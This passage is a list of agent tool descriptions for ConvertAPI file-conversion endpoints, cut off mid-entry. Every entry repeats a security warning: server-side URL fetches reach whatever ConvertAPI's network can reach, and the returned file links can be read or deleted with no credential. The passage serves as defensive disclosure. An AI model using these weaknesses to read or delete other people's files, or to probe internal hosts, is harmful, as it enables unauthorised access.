convertapi_post_convert_pub_to_jpg (write) — Publisher to JPG Conversion API via POST /convert/pub/to/jpg. Convert Microsoft Publisher (PUB) documents to JPG images for web, applications, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and JPEG quality to balance fidelity and file size. Ideal for generating thumbnails, previews, and page snapshots in automated pipelines with predictable results across varied inputs while preserving the look of layouts, text, and graphics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pub/to/jpg. Scopes: api. convertapi_post_convert_pub_to_pdf (write) — Publisher to PDF API via POST /convert/pub/to/pdf. Convert Microsoft Publisher (.pub) documents to high-quality PDF without Publisher installed. The API preserves page layout, typography, images, and vector graphics. It opens password-protected files when required, lets you decide whether to carry document metadata into the PDF, and offers PDF options such as font embedding, subsetting, resolution, and PDF version to balance fidelity and size. For regulated archives, chain the output through the PDF to PDF/A converter. Designed for automation, it batch converts entire .pub archives with consistent output for review, print, distribution, and archival. If you are migrating away from Publisher, see our Microsoft Publisher end of life guide for... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pub/to/pdf. Scopes: api. convertapi_post_convert_pub_to_png (write) — Publisher to PNG Conversion API via POST /convert/pub/to/png. Convert Microsoft Publisher (PUB) documents to PNG images for web, applications, and archival. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and background color to match UI constraints. Ideal for generating thumbnails, previews, and page snapshots in automated pipelines with predictable, lossless results across varied inputs while preserving the look of layouts, text, and graphics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pub/to/png. Scopes: api. convertapi_post_convert_pub_to_tiff (write) — Publisher to TIFF Conversion API via POST /convert/pub/to/tiff. Convert Microsoft Publisher (PUB) documents to TIFF for records management, print workflows, and interoperability. Open password-protected files when needed and control output using image resolution (DPI), scaling with explicit width/height, and compression settings to balance fidelity and file size. Ideal for generating consistent, high-fidelity page snapshots in automated pipelines with predictable results across varied inputs while preserving the look of layouts, text, and graphics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/pub/to/tiff. Scopes: api. convertapi_post_convert_qrcode_to_data (write) — Scan QR Code API via POST /convert/qrcode/to/data. Scan QR Code API detects and decodes QR codes from PDF documents, scanned files, and even photographed QR codes in various image formats (PNG, JPG, TIFF). You can enable multiple barcode detection, try intensive detection algorithms, and handle inverted or rotated barcodes. The result is returned as JSON with decoded values and optional metadata. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/qrcode/to/data. Scopes: api. convertapi_post_convert_rtf_to_html (write) — RTF to HTML Conversion API via POST /convert/rtf/to/html. Convert Rich Text Format (RTF) documents to clean, semantic HTML while preserving structure like headings, lists, tables, and inline formatting. Supports embedding images inline as data URIs or exporting them separately. Great for web previews, archives, and content pipelines. No Microsoft Office required. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/rtf/to/html. Scopes: api. convertapi_post_convert_rtf_to_jpg (write) — RTF to JPG Conversion API via POST /convert/rtf/to/jpg. Convert Rich Text Format (RTF) documents to high-quality JPG images for previews, web display, and archival. Open password-protected files, select specific page ranges, and control image resolution (DPI), width, height, and JPEG quality. Designed for automation and batch processing, producing consistent visual snapshots from RTF documents. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/rtf/to/jpg. Scopes: api. convertapi_post_convert_rtf_to_pdf (write) — RTF to PDF Conversion API via POST /convert/rtf/to/pdf. Convert RTF documents to high-quality PDF for distribution, review, and archiving. Open password-protected files when required, restrict conversion to a specific page range, and include markups, tags, headings, and bookmarks to preserve structure. Optionally convert document metadata and enable PDF/A compliance for long-term preservation. Designed for automation, the API produces predictable results across varied inputs without desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/rtf/to/pdf. Scopes: api. convertapi_post_convert_rtf_to_txt (write) — RTF to TXT Conversion API via POST /convert/rtf/to/txt. Extract UTF-8 plain text from Rich Text Format (RTF) documents. Supports configurable line breaks, custom end-of-line characters, save formats, substitutions, and password-protected inputs where applicable. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/rtf/to/txt. Scopes: api. convertapi_post_convert_svg_to_jpg (write) — SVG to JPG Conversion API via POST /convert/svg/to/jpg. Convert SVG vector graphics to JPG while handling transparency that JPEG does not support. Replace transparent regions with a specified background color to ensure consistent appearance over light and dark themes. Use general image controls to set resolution (DPI), scaling behavior, and explicit width/height for predictable results across devices and layouts. Choose color space for consistent rendering and adjust JPEG quality to balance clarity and file size. Ideal for preparing assets for websites, mobile apps, email previews, and systems that require opaque raster output. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/svg/to/jpg. Scopes: api. convertapi_post_convert_svg_to_pdf (write) — SVG to PDF Conversion API via POST /convert/svg/to/pdf. Convert SVG files to PDF while preserving crisp, scalable vector quality. Control page size and orientation, explicit width/height, horizontal and vertical alignment, background color, and whether to use the image's intrinsic page size. Ideal for print-ready exports, sharing, archiving, and embedding in documents and workflows. Output remains vector where possible for small files and sharp rendering. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/svg/to/pdf. Scopes: api. convertapi_post_convert_svg_to_png (write) — SVG to PNG Conversion API via POST /convert/svg/to/png. Convert SVG files to PNG while preserving crisp rendering for web, applications, and archives. Control background color and set resolution (DPI), choose scaling behavior, and define explicit width/height for consistent layout across inputs. Map a specific color to transparency when needed to preserve foreground elements over UI backgrounds and produce predictable results across batches. Ideal for UI assets, diagrams, print previews, and workflows that need robust, opaque raster output with optional transparency handling. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/svg/to/png. Scopes: api. convertapi_post_convert_svg_to_pnm (write) — SVG to PNM Conversion API via POST /convert/svg/to/pnm. Convert SVG vector graphics to Portable Any Map (PNM) formats for simple, interoperable raster output (PBM/PGM/PPM). Rasterize with precise control: set resolution (DPI), choose scaling behavior, and define exact width/height for consistent results across inputs. Select grayscale or RGB output as appropriate, set background color, and map transparent regions to a specified color for downstream tools that lack alpha support. Ideal for processing pipelines, testing, and archival workflows that require lightweight, uncompressed files with predictable characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/svg/to/pnm. Scopes: api. convertapi_post_convert_svg_to_svg (write) — SVG to SVG Conversion API via POST /convert/svg/to/svg. Optimize and normalize existing SVG files to ensure consistent rendering across browsers and devices. Control export characteristics with color space selection, output quality, and optional rasterization settings such as resolution (DPI), scaling behavior, and explicit width/height. Use precise sizing to align assets with design systems or storage constraints while keeping files compact. Ideal for automation, CDNs, and UI pipelines where predictable, lightweight vector output is essential. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/svg/to/svg. Scopes: api. convertapi_post_convert_svg_to_tiff (write) — SVG to TIFF Conversion API via POST /convert/svg/to/tiff. Convert SVG vector graphics to robust TIFF format for archiving, print workflows, and interoperability. Control background color and choose single- or multi-page output to consolidate sequences. Adjust color space for device consistency and fine-tune compression/quality for the target use case. Set resolution (DPI), scaling behavior, and explicit width/height to meet layout or storage constraints while preserving crisp rendering. Ideal for records retention, pre-press pipelines, and systems that require predictable, high-fidelity raster output from vector sources. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/svg/to/tiff. Scopes: api. convertapi_post_convert_svg_to_webp (write) — SVG to WebP Conversion API via POST /convert/svg/to/webp. Convert SVG vector graphics to modern WebP format to reduce file sizes while preserving crisp rendering. Set resolution (DPI), choose scaling behavior, and define explicit width/height so outputs match UI layouts or storage constraints. Select lossless or lossy compression and adjust the quality factor to balance clarity and size, and choose an appropriate color space for consistent rendering across platforms. Ideal for web and mobile delivery, batch optimization pipelines, and CDN workflows where small, visually faithful images are desired. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/svg/to/webp. Scopes: api. convertapi_post_convert_template_to_docx (write) — DOCX template API via POST /convert/template/to/docx. DOCX Template API is a tool that allows you to dynamically generate MS Word documents by replacing custom properties using a JSON object that contains your data. It's a game changer for anyone who works with Word documents frequently and wants to streamline their workflow. Using our DOCX Template API, you can effortlessly create stunning MS Word documents. It is super helpful for automatic invoice generation, dynamic proposal, or quote creation using your desired DOCX template as a basis for the final document. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/template/to/docx. Scopes: api. convertapi_post_convert_template_to_pdf (write) — Dynamic PDF API via POST /convert/template/to/pdf. Dynamic PDF API is a tool that allows you to dynamically generate PDF documents based on a MS Word (DOCX) template by injecting custom properties using a JSON object that contains your data. It's a game changer for anyone who wants to generate custom PDF documents on the fly. Using our DOCX Template API, you can effortlessly create stunning PDF documents like invoices, contracts, agreements, etc. It allows you to generate dynamic proposals or quotes using your desired DOCX template as a basis for the final PDF document. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/template/to/pdf. Scopes: api. convertapi_post_convert_tiff_to_jpg (write) — TIFF to JPG Conversion API via POST /convert/tiff/to/jpg. Convert TIFF images to JPG while handling alpha transparency that JPEG does not support. Replace transparent regions with a specified background color so assets render consistently across light and dark themes. Use general image controls to set resolution (DPI), scaling behavior, and explicit width/height to produce predictable outputs across inputs. Choose color space for device consistency and tune JPEG quality to balance clarity with compact file size. Ideal for preparing scans and raster graphics for websites, apps, and systems that require opaque JPEG images. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/tiff/to/jpg. Scopes: api. convertapi_post_convert_tiff_to_pdf (write) — TIFF to PDF Conversion API via POST /convert/tiff/to/pdf. TIFF to PDF conversion API is a powerful and flexible solution for users looking to transform TIFF images into PDF format. It supports various programming languages, making it highly accessible for a wide range of developers. The API provides features like adjusting page margins, choosing page orientations, and rotating images to ensure the final PDF meets specific requirements. This API is ideal for businesses and developers seeking a reliable and versatile image-to-PDF conversion tool. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/tiff/to/pdf. Scopes: api. convertapi_post_convert_tiff_to_png (write) — TIFF to PNG Conversion API via POST /convert/tiff/to/png. Convert TIFF images to widely supported PNG format for web, mobile, and general application use. Use general image controls to adjust resolution (DPI), scaling behavior, and explicit width/height to achieve consistent output across varied inputs. Map a specific color to transparency when needed to preserve foreground elements over UI backgrounds, and tune color space for predictable rendering. Ideal for preparing documents and scans for distribution or UI display where lossless compression and alpha transparency are beneficial. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/tiff/to/png. Scopes: api. convertapi_post_convert_tiff_to_pnm (write) — TIFF to PNM Conversion API via POST /convert/tiff/to/pnm. Convert TIFF images to Portable Any Map (PNM) formats for simple, interoperable raster output (PBM/PGM/PPM). Use general image controls to set resolution (DPI), select scaling behavior, and define exact width/height for predictable results across inputs. Choose grayscale or RGB output as appropriate, and map transparent regions to a specified background color when downstream tools lack alpha support. Ideal for processing pipelines, testing, and archival workflows that require lightweight, uncompressed files with consistent characteristics. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/tiff/to/pnm. Scopes: api. convertapi_post_convert_tiff_to_svg (write) — TIFF to SVG Conversion API via POST /convert/tiff/to/svg. Convert TIFF images into precise, scalable SVG vectors. Adjust color mode and palette size, layering, curve fitting, corner threshold, segment length, speckle filtering, and gradient steps to match your quality and size goals. Optionally fix output width/height for consistent results across files. Ideal for diagrams, scans, and vectorizing raster artwork. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/tiff/to/svg. Scopes: api. convertapi_post_convert_tiff_to_tiff (write) — TIFF to TIFF Conversion API via POST /convert/tiff/to/tiff. Optimize or normalize existing TIFF images while preserving high fidelity for archiving, print workflows, and interoperability. Choose single- or multi-page output to consolidate sequences, adjust color space for device consistency, and fine-tune compression/quality for the target use case. Set resolution (DPI), scaling behavior, and explicit width/height to meet layout or storage constraints. Ideal for records retention, pre-press pipelines, and systems that require predictable TIFF output. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/tiff/to/tiff. Scopes: api. convertapi_post_convert_tiff_to_txt (write) — TIFF to Text Conversion API via POST /convert/tiff/to/txt. Convert TIFF scans to machine-readable text using accurate OCR tuned for scanned documents, faxes, and archives. Multi-page TIFF files are recognized page by page, so nothing past the first page is lost. Choose the enhanced recognition quality to get better results on low quality scans, small print, and rotated text. Select OCR languages to boost accuracy for multilingual content and deliver copy-ready text for search, analytics, and automation. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, 